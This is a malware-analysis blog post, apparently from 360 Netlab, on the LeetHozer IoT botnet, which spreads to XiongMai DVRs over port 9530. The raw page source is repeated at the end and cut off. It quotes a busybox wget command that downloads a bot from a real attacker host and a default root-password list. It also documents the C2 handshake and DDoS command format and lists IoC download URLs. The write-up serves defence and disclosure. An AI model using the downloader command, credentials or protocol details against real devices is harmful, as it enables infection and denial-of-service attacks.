So we think we should blog it and decide to name it LeetHozer because of theH0z3r string(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;)
The targets devices currently observed are mainly XiongMai H.264 and H.265 devices.
Propagation
* In 2017, security researchers disclosed the vulnerability[2].
* 2020-02-04 POC was released on github[3]。[4].
* 2020-02-11 We saw a moobot variant we called moobot_xor exploiting this vulnerability.
* 2020-03-26 LeetHozer began to exploit the vulnerability.
LeetHozer takes advantage of the vulnerability through the target device's TCP 9530 port to start the telnetd service, then login to the device with the default password to complete the infection process. The propagation process is shown in the figure:
The source IP currently exploiting the vulnerability is around 4.5k per day.
LeetHozer and moobot_xor used the same unique string /bin/busybox DNXXXFF in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.
The time periods and the downloader shared by the two families are as follows:
date=2020-03-26 08:11:46+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i686
date=2020-03-26 08:11:39+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i586
date=2020-03-26 08:11:39+08:00 md5=b7b2ae292bf182b0d91535770394ad93 family_name=moobot_xor url=http://185.172[.110.224/ab/arm
The recent LeetHozer DDos targets we currently see
2020-04-07 37.49.226.171 31337 ddos tcpraw 45.83.128.252 ASN40676 Psychz_Networks
2020-04-07 37.49.226.171 31337 ddos udpplain 172.106.18.210 ASN40676 Psychz_Networks
2020-04-08 37.49.226.171 31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161 ASN25369 Hydra_Communications_Ltd
2020-04-13 37.49.226.171 31337 ddos icmpecho 73.99.44.254 ASN7922 Comcast_Cable_Communications,_LLC
2020-04-13 37.49.226.171 31337 ddos icmpecho 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-13 37.49.226.171 31337 ddos udppplain 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-16 37.49.226.171 31337 ddos icmpecho 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-16 37.49.226.171 31337 ddos icmpecho 52.47.76.48 ASN16509 Amazon.com,_Inc.
2020-04-16 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos tcpraw 162.248.93.234 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-16 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-17 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos tcpraw 76.164.193.89 ASN36114 Versaweb,_LLC
2020-04-18 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos udpplain 66.150.188.101 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-19 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.22.86 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.33.194 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 172.107.228.198 ASN40676 Psychz_Networks
2020-04-19 37.49.226.171 31337 ddos udpplain 192.99.226.11 ASN16276 OVH_SAS
2020-04-19 37.49.226.171 31337 ddos udpplain 209.58.147.245 ASN394380 Leaseweb_USA,_Inc.
2020-04-19 37.49.226.171 31337 ddos udpplain 24.46.209.115 ASN6128 Cablevision_Systems_Corp.
2020-04-19 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-20 37.49.226.171 31337 ddos udpplain 139.28.218.180 ASN9009 M247_Ltd
2020-04-20 37.49.226.171 31337 ddos udpplain 74.91.122.90 ASN14586 Nuclearfallout_Enterprises,_Inc.
2020-04-23 37.49.226.171 31337 ddos icmpecho 162.244.55.107 ASN49544 i3D.net_B.V
2020-04-23 37.49.226.171 31337 ddos udpplain 162.244.55.107 ASN49544 i3D.net_B.V
Reverse analysis
At present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.
We are going to take a quick look at the sample’s behavior, DDos command format, network communication below.
MD5: 57212f7e253ecebd39ce5a8a6bd5d2df
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
Library: uclibc
Version: V2
Sample behavior
The function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named .1, and prints out /bin/sh:./a.out:not found string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices.
The sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.
The sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:
xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
After decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.
.1
/dev/watchdog
/dev/misc/watchdog
/bin/sh: ./a.out: not found
w6gr2jqz3eag4ksi.onion
The specific implementation of the Bot function is as follows:，
1.
Set watchdog to prevent device restart
2.
Bot singleton through PID file
3.
Scan, exploitation and report information
*
mirai's fast port scan technique has been borrowed, the scanned port is 9530
*
Use the vulnerability to enable the telnetd service and try to log in with the following credentials.
root:xc3511
root:xmhdipc
root:klv123
root:123456
root:jvbzd
root:hi3518
root:tsgoingon
*
Report device information after successful login
4.
Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.
version
command
V1
tcpraw
v2
tcpraw;icmpecho;udpplain
However, the data format of the attack command is the same, and its structure is Header(6 bytes),Option1,Option2...，in which the structure of Option isType(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, the following takes an actual attack command as an example to explain the parsing process.
00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp
00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13
00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180....
00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d.
----------------------------------------------------------------------------
Header: 3E 00 3F 00 3A 00, ----Little endian
0x003E ---- xor key
0x003A ---- 0x3A xor 0x3E = 4 个Option
Opt 1: 01 00 08 00 04 00, ----Little endian
0x0001 ----Type 1,Padding 4 bytes
0x0008 ----Content length,len("udpplain") = 8
0x0004 ----Subtype 4,Contents为attack vector
Contents: udpplain
Padding: 00 00 00 00
Opt 2: 01 00 0E 00 06 00, ----Little endian
0x0001 ----Type 1,Padding 4 bytes
0x000e ----Content length
0x0006 ----Subtype 6,Contents为attack target
Contents: 139.28.218.180
Padding: 00 00 00 00
Opt 3: 02 00 01 00 0c 00, ----Little endian
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 Ignore this field，Contents length is always 2 bytes
0x000c ----Subtype 0xc,Contents为target port
Contents: 80
Opt 4: 02 00 01 00 05 00, ----Little endian
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 Ignore this field，Contents length is always 2 bytes
0x0005 ----Subtype 0x05,Contents is attack duration
Contents: 0x0064
Communication protocols
Two types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.
1.
Tor-C2，supported by V1，Not used in V2.
w6gr2jqz3eag4ksi.onion:31337
2.
IP-C2，supported by V2.
37.49.226.171:31337
Tor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.
*
Establish a connection with C2 through Tor proxy
The hardcode proxy list:
45.82.176.194:9034
91.236.251.131:9712
18.177.13.247:443
62.109.8.218:8888
82.99.213.98:9191
35.225.55.174:9251
194.99.22.206:9050
45.147.199.142:8060
47.104.188.20:8999
54.149.179.115:9050
195.128.102.178:9050
185.176.25.66:9002
54.188.106.141:9080
193.47.35.56:10000
88.193.137.205:9050
134.209.84.21:9119
194.58.111.244:9050
192.99.161.66:9050
193.47.35.53:9090
167.179.74.97:9251
185.30.228.141:9050
*
First round of interaction
The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.
The meaning of some key fields
offset
length
content
field meaning
0x00
2 bytes
0x8f49
source port
0x02
2 bytes
0x7a69
hardcode
0x04
4 bytes
0x00004818
hardcode
0x0e
2 bytes
0x0001
first round
0x14
4 bytes
0x0051cc
checksum
The calculation of checksum is as follows
step 1: calc the sum of the first 12 WORD
(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000
+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;
step 2:(HWORD(sum) + LWORD(sum)) >> 16
(0x0001+0x51CB) >> 16 = 0;
step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff
(0x0001+0x51cb) && 0xffff = 0x000051cc
The first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.
offset
length
content
field meaning
0x04
4 bytes
0x000070f1
valid flag1
0x08
4 bytes
0x00004819
valid flag2
*
Second round of interaction
The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.
offset
length
content
field meaning
0x00
8 bytes
0x7a697a69,0x000070f1
C2 reply in the round 1
0x08
4 bytes
0x000070f2
hardcode
0x0e
2 bytes
0x0002
second round
0x14
4 bytes
0x00d665
checksum
The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot's online process is completed.
offset
length
content
field meaning
0x04
4 bytes
0x00002775
valid flag1
0x08
4 bytes
0x000070f2
valid flag2
At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.
*
Instruction code: 0x00 indicates heartbeat
*
Instruction code: 0x01 indicates reporting Bot group information
*
Instruction code: Not 0x00 0x01 indicates DDoS attack.
Contact us
Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.
IoC list
C2
vbrxmrhrjnnouvjf.onion:31337 #v3
37.49.226.171:31337 #v2
w6gr2jqz3eag4ksi.onion:31337 #v1
MD5
027d7e1cda6824bc076d0a586ea139f5
05a485caf78eca390439b7c893c0354b
068083b9d0820f3ac9cec10d03705649
08e1b88305ad138a4509fb6b72ae3d31
0a56855a6d56efe409c2b7a4c6113bcf
0dee2c063085d0c5466137a3c32479f2
0eecbfd368f821901f9ba758e267557a
110ec534e1c60fc47f37739f03c1bb6a
1111c252ee54c4a6614498e66cefb4e7
11c1be44041a8e8ba05be9df336f9231
121960341ab64a7e7686373dedfbc058
128a53e447266e4d0e12adb7c0b43159
129f41468303728b029def8dbc910e35
177de1bf8f90cbcea50fd19c1e3e8cfe
17b5d683d7b177760c8a2ffd749650b0
1aba422e02f0fbff5189399e01e272d4
21e7898b4b585b825d120c3b0fed8b8a
242d0c9386f61c3ac9ddcdbcda724f3e
25588d12bdbb4e4b1d946f2d5c89abf3
273afac3320ddceb0e18671a3e878fa3
2f066945cee892cc857d477d97d42d7c
30c60cfb51896e5d06012ec6cf15c588
3525d090ab1ab1739507ae1777a70b95
37d9fd56ce685717f1180615f555754e
3d24b9cafda55909fbfde16a5222b4d8
3f88cbbcaa3e0b410dcdb18ddb68d4c2
4229c19e6e5c2dc8560fae9b35841957
45a30d656b4767bce0058f80b0895a95
4e22d0079c18043b6d9037fb842d94ee
58a13abe621acc532b1b6d26eb121c61
5ed891c31bc86689cb93488f5746404a
5fafdc3e3ed7c38a204234e0146e5663
5fec7347f2a9a2ae798505135a61c47f
60bb6bf05c3e7f6f13f2374511963f79
669e5f3513ebfa9c30766da294036d6e
6c883cf42d63a672815e38223d241662
6e7e638d27971e060aaee1b9ae43fe4a
76d0285f95fbee81cff81948d5a98db0
7b08a0569506174463c83f50f8d65a8f
84d39f46c4694e176d8734dd53a07c2c
86072e88f28ebf357443300656c0349a
88a39f5bb8e271f3d080a9aaa6c4a44a
8dc36df1617d9c2be576fa02a5c24803
8e7d774441229809c9cfa8d8705b5258
90a63857f31714ff2c285eb6ca9af3d1
919308996155d7a9ec2f7a25a64eb759
91fe795b69880972e30929632d359b52
9a63001fe8f2d2d642bc2c8310a429e0
9c95be6e1e9927cc0171fc344fcceb71
a42550641cc709168c145b5739fca769
a579d46a571e123a9d65dcfe21910c87
a76fdf5b2f817dc1f2e3c241d552b9ae
aa469ab3eb6789104bda30c910f063f5
b0276d96976dd6b805a02141e78df927
b35733792393a08408773a141a94f668
b84fb91f818a2b221833cb6499e5d345
bd28cdf60b03fc302b0ed467b3ea7e43
c6e9c7e7b5370441b379fd0032af4a85
cc42951a01c07dc7034251fdcd08c778
cce2f84c925f30ba11afd817bdae9377
d9d2c7e131e2f19985fffe9a1f38bca1
db6b387ba0f1ab17785de63be55e7fb6
deb66817f026c50d6e78ace69db6f0e6
e8e249712b7ad0bb92ac5ebb1d0f3378
e9ee7ea21696c9e01257c7543d344487
eb210bc6a54c1faef3cc043d767a4c3b
ecf26cb853f2d22b705334cd9acdd3c2
f4aa925fb0d0eda1bdd4b52eecd7d870
fdd05db406a03601b9548aa7a1d07bb6
Downloader
http://185[.172.110.224/ab/i586
http://185[.172.110.224/ab/i686
http://185[.172.110.224/uc/i686
http://185.225.19.57/aq/rxrg
http://188[.214.30.178/arm6
http://188[.214.30.178/arm7
http://188[.214.30.178/bot.arm
http://188[.214.30.178/bot.arm7
http://188[.214.30.178/bot.mips
http://188[.214.30.178/bot.mpsl
http://188[.214.30.178/bot.x86
http://188[.214.30.178/tn/arm
http://188[.214.30.178/tn/arm7
http://188[.214.30.178/tn/mips
http://188[.214.30.178/tn/mpsl
http://190[.115.18.144/arm6
http://190[.115.18.144/arm7
http://190[.115.18.144/bot.arm
http://190[.115.18.144/bot.arm7
http://190[.115.18.144/bot.mips
http://190[.115.18.144/bot.mpsl
http://190[.115.18.144/bot.x86
http://190[.115.18.144/tn/arm
http://190[.115.18.144/tn/arm7
http://190[.115.18.144/tn/mips
http://190[.115.18.144/tn/mpsl
http://37[.49.226.171/bins/mirai.arm
http://37[.49.226.171/bins/mirai.arm7
http://37[.49.226.171/bins/mirai.mpsl
http://37[.49.226.171/bins/mirai.sh4
http://37[.49.226.171/bins/mirai.x86
http://37[.49.226.171/mirai.arm
http://37[.49.226.171/mirai.arm7
http://37[.49.226.171/mirai.mpsl
http://37[.49.226.171/mirai.sh4
http://37[.49.226.171/mirai.x86
http://64[.225.64.58/arm
http://64[.225.64.58/arm5
http://64[.225.64.58/arm6
http://64[.225.64.58/arm7
http://64[.225.64.58/bot.arm
http://64[.225.64.58/bot.arm7
http://64[.225.64.58/bot.mips
http://64[.225.64.58/bot.mpsl
http://64[.225.64.58/bot.x86
http://64[.225.64.58/i586
http://64[.225.64.58/i686
http://64[.225.64.58/m68k
http://64[.225.64.58/mips
http://64[.225.64.58/mpsl
http://64[.225.64.58/sh4
http://64[.225.64.58/spc
http://64[.225.64.58/x86
IP
185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd
185.225.19.57 Romania ASN39798 MivoCloud_SRL
37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited
64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC
188.214.30.178 Romania ASN51177 THC_Projects_SRL
190.115.18.144 Russian ASN262254 DANCOM_LTD
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\nOn March 26, 2020, we captured a suspicious sample```11c1be44041a8e8ba05be9df336f9231```. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention. \n\nThe sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned. \n\nFor regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.\n\nBut this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :`vbrxmrhrjnnouvjf.onion:31337`)\n\nSo we think we should blog it and decide to name it LeetHozer because of the`H0z3r` string(`/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;`)\n\nThe targets devices currently observed are mainly [XiongMai H.264 and H.265 devices](http://www.xiongmaitech.com/en/index.php/news/info/12/68).\n\n\n## Propagation\n\n- In 2017, security researchers disclosed the vulnerability[[2]](https://www.cnblogs.com/mmseh/p/6537924.html).\n- 2020-02-04 POC was released on github[[3]](https://habr.com/en/post/486856/)。[[4]](https://github.com/Snawoot/hisilicon-dvr-telnet).\n- 2020-02-11 We saw a [moobot](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/) variant we called `moobot_xor` exploiting this vulnerability.\n- 2020-03-26 `LeetHozer` began to exploit the vulnerability.\n\n\nLeetHozer takes advantage of the vulnerability through the target device's TCP 9530 port to start the telnetd service, then login to the device with the default password to complete the infection process. The propagation process is shown in the figure:\n<a href=\"__GHOST_URL__/content/images/2020/04/hozer_flow.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_flow.png\" class=\"kg-image\"/></a>\n\nThe source IP currently exploiting the vulnerability is around 4.5k per day.\n<a href=\"__GHOST_URL__/content/images/2020/04/dvr.9530.png\"><img src=\"__GHOST_URL__/content/images/2020/04/dvr.9530.m.png\" class=\"kg-image\"/></a>\n\nLeetHozer and moobot_xor used the same unique string `/bin/busybox DNXXXFF` in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.\n\nThe time periods and the downloader shared by the two families are as follows:\n```\ndate=2020-03-26 08:11:46+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i686\ndate=2020-03-26 08:11:39+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i586\ndate=2020-03-26 08:11:39+08:00 md5=b7b2ae292bf182b0d91535770394ad93 family_name=moobot_xor url=http://185.172[.110.224/ab/arm\n```\n\n\n## The recent LeetHozer DDos targets we currently see\n\n```\n2020-04-07\t37.49.226.171 \t31337\tddos\ttcpraw \t45.83.128.252 \tASN40676 \tPsychz_Networks\n2020-04-07\t37.49.226.171 \t31337\tddos\tudpplain\t172.106.18.210 \tASN40676 \tPsychz_Networks\n2020-04-08\t37.49.226.171 \t31337\tddos\tudpplain\t185.172.110.224\tASN206898\tServer_Hosting_Pty_Ltd\n2020-04-11\tw6gr2jqz3eag4ksi.onion\t31337\tddos\ticmpecho\t185.38.151.161 \tASN25369 \tHydra_Communications_Ltd\n2020-04-13\t37.49.226.171 \t31337\tddos\ticmpecho\t73.99.44.254 \tASN7922 \tComcast_Cable_Communications,_LLC\n2020-04-13\t37.49.226.171 \t31337\tddos\ticmpecho\t94.174.77.69 \tASN5089 \tVirgin_Media_Limited\n2020-04-13\t37.49.226.171 \t31337\tddos\tudppplain\t94.174.77.69 \tASN5089 \tVirgin_Media_Limited\n2020-04-16\t37.49.226.171 \t31337\tddos\ticmpecho\t117.27.239.28 \tASN133774\tFuzhou\n2020-04-16\t37.49.226.171 \t31337\tddos\ticmpecho\t185.172.110.224\tASN206898\tServer_Hosting_Pty_Ltd\n2020-04-16\t37.49.226.171 \t31337\tddos\ticmpecho\t52.47.76.48 \tASN16509 \tAmazon.com,_Inc.\n2020-04-16\t37.49.226.171 \t31337\tddos\ttcpraw \t117.27.239.28 \tASN133774\tFuzhou\n2020-04-16\t37.49.226.171 \t31337\tddos\ttcpraw \t162.248.93.234 \tASN32374 \tNuclearfallout_Enterprises,_Inc.\n2020-04-16\t37.49.226.171 \t31337\tddos\tudpplain\t71.222.69.77 \tASN209 \tCenturyLink_Communications,_LLC\n2020-04-17\t37.49.226.171 \t31337\tddos\tudpplain\t117.27.239.28 \tASN133774\tFuzhou\n2020-04-18\t37.49.226.171 \t31337\tddos\ttcpraw \t76.164.193.89 \tASN36114 \tVersaweb,_LLC\n2020-04-18\t37.49.226.171 \t31337\tddos\tudpplain\t117.27.239.28 \tASN133774\tFuzhou\n2020-04-18\t37.49.226.171 \t31337\tddos\tudpplain\t66.150.188.101 \tASN32374 \tNuclearfallout_Enterprises,_Inc.\n2020-04-19\t37.49.226.171 \t31337\tddos\ttcpraw \t117.27.239.28 \tASN133774\tFuzhou\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t108.61.22.86 \tASN20473 \tChoopa,_LLC\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t108.61.33.194 \tASN20473 \tChoopa,_LLC\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t172.107.228.198\tASN40676 \tPsychz_Networks\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t192.99.226.11 \tASN16276 \tOVH_SAS\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t209.58.147.245 \tASN394380\tLeaseweb_USA,_Inc.\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t24.46.209.115 \tASN6128 \tCablevision_Systems_Corp.\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t71.222.69.77 \tASN209 \tCenturyLink_Communications,_LLC\n2020-04-20\t37.49.226.171 \t31337\tddos\tudpplain\t139.28.218.180 \tASN9009 \tM247_Ltd\n2020-04-20\t37.49.226.171 \t31337\tddos\tudpplain\t74.91.122.90 \tASN14586 \tNuclearfallout_Enterprises,_Inc.\n2020-04-23\t37.49.226.171 \t31337\tddos\ticmpecho\t162.244.55.107 \tASN49544 \ti3D.net_B.V\n2020-04-23\t37.49.226.171 \t31337\tddos\tudpplain\t162.244.55.107 \tASN49544 \ti3D.net_B.V\n```\n\n## Reverse analysis\n\nAt present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.\n<a href=\"__GHOST_URL__/content/images/2020/04/hozer_version.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_version.png\" class=\"kg-image\"/></a>\nWe are going to take a quick look at the sample’s behavior, DDos command format, network communication below.\n\n>MD5:\t\t57212f7e253ecebd39ce5a8a6bd5d2df\n>\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n>\n>Packer:\tNone\n>\n>Library: uclibc\n>\n>Version: V2\n\n### Sample behavior\n\nThe function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named `.1`, and prints out `/bin/sh:./a.out:not found` string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices. \n\nThe sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.\n\nThe sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:\n```\nxorkey=\"qE6MGAbI\"\n\ndef decode_str(ctxt):\n for i in range(0,len(xorkey)):\n plain=\"\"\n size=len(ctxt) \n for idx in range(0, size):\n ch=ord(ctxt[idx]) \n ch ^=(ord(xorkey[i]) + idx )\n plain += chr(ch)\n ctxt=plain\n return ctxt\n```\n\nAfter decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.\n\n| **.1** | **/dev/watchdog** |\n| -------------------------- | ------------------------------- |\n| **/dev/misc/watchdog** | **/bin/sh: ./a.out: not found** |\n| **w6gr2jqz3eag4ksi.onion** | |\n\nThe specific implementation of the Bot function is as follows:，\n\n1. Set watchdog to prevent device restart\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_dog-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_dog-1.png\" class=\"kg-image\"/></a>\n\n2. Bot singleton through PID file\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_pid-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_pid-1.png\" class=\"kg-image\"/></a>\n\n3. Scan, exploitation and report information\n\n * mirai's fast port scan technique has been borrowed, the scanned port is 9530\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_scan.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_scan.png\" class=\"kg-image\"/></a>\n\n * Use the vulnerability to enable the telnetd service and try to log in with the following credentials.\n\n ```\n root:xc3511\n root:xmhdipc\n root:klv123\n root:123456\n root:jvbzd\n root:hi3518\n root:tsgoingon\n ```\n\n \n\n * Report device information after successful login\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_report.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_report.png\" class=\"kg-image\"/></a>\n\n4. Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.\n\n | version | command |\n | ------- | ------------------------ |\n | V1 | tcpraw |\n | v2 | tcpraw;icmpecho;udpplain |\n\n However, the data format of the attack command is the same, and its structure is ``Header(6 bytes),Option1,Option2...``，in which the structure of Option is``Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding``, the following takes an actual attack command as an example to explain the parsing process.\n\n\n ```\n 00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp\n 00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13\n 00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180....\n 00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d.\n ----------------------------------------------------------------------------\n Header: \t3E 00 3F 00 3A 00, ----Little endian \n \t\t\t\t0x003E\t\t---- xor key\n \t\t\t\t0x003A\t\t---- 0x3A xor 0x3E = 4 个Option\n Opt 1:\t\t01 00 08 00 04 00, ----Little endian \n \t\t\t\t0x0001\t\t----Type 1,Padding 4 bytes\n \t\t\t\t0x0008\t\t----Content length,len(\"udpplain\") = 8\n \t\t\t\t0x0004\t\t----Subtype 4,Contents为attack vector\n \t\t\tContents: udpplain\n \t\t\tPadding: 00 00 00 00\n \t\t\t\n Opt 2:\t\t01 00 0E 00 06 00, ----Little endian \n \t\t\t\t0x0001\t\t----Type 1,Padding 4 bytes\n \t\t\t\t0x000e\t\t----Content length\n \t\t\t\t0x0006\t\t----Subtype 6,Contents为attack target\n Contents: 139.28.218.180\n Padding: 00 00 00 00\n \t\t\t\n Opt 3:\t\t02 00 01 00 0c 00, ----Little endian \n \t\t\t\t0x0002\t\t----Type 2,No Padding\n \t\t\t\t0x0001\t\t----Type 2 Ignore this field，Contents length is always 2 bytes\n 0x000c\t\t----Subtype 0xc,Contents为target port\n Contents: 80\n \n Opt 4:\t\t02 00 01 00 05 00, ----Little endian \n \t\t\t\t0x0002\t\t----Type 2,No Padding\n \t\t\t\t0x0001\t\t----Type 2 Ignore this field，Contents length is always 2 bytes\n \t\t\t\t0x0005\t\t----Subtype 0x05,Contents is attack duration\n Contents: 0x0064\n ```\n\n \n\n### Communication protocols\n\nTwo types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.\n\n1. Tor-C2，supported by V1，Not used in V2.\n\n ```\n w6gr2jqz3eag4ksi.onion:31337\n ```\n\n2. IP-C2，supported by V2.\n\n ```\n 37.49.226.171:31337\n ```\n\nTor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.\n\n* Establish a connection with C2 through Tor proxy\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_proxy.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_proxy.png\" class=\"kg-image\"/></a>\n\n The hardcode proxy list:\n\n ```\n 45.82.176.194:9034\n 91.236.251.131:9712\n 18.177.13.247:443\n 62.109.8.218:8888\n 82.99.213.98:9191\n 35.225.55.174:9251\n 194.99.22.206:9050\n 45.147.199.142:8060\n 47.104.188.20:8999\n 54.149.179.115:9050\n 195.128.102.178:9050\n 185.176.25.66:9002\n 54.188.106.141:9080\n 193.47.35.56:10000\n 88.193.137.205:9050\n 134.209.84.21:9119\n 194.58.111.244:9050\n 192.99.161.66:9050\n 193.47.35.53:9090\n 167.179.74.97:9251\n 185.30.228.141:9050\n ```\n\n \n\n* First round of interaction\n\n The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundone.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundone.png\" class=\"kg-image\"/></a>\n\n The meaning of some key fields\n\n | offset | length | content | field meaning |\n | ------ | ------- | ---------- | ------------- |\n | 0x00 | 2 bytes | 0x8f49 | source port |\n | 0x02 | 2 bytes | 0x7a69 | hardcode |\n | 0x04 | 4 bytes | 0x00004818 | hardcode |\n | 0x0e | 2 bytes | 0x0001 | first round |\n | 0x14 | 4 bytes | 0x0051cc | checksum |\n\n The calculation of checksum is as follows\n\n 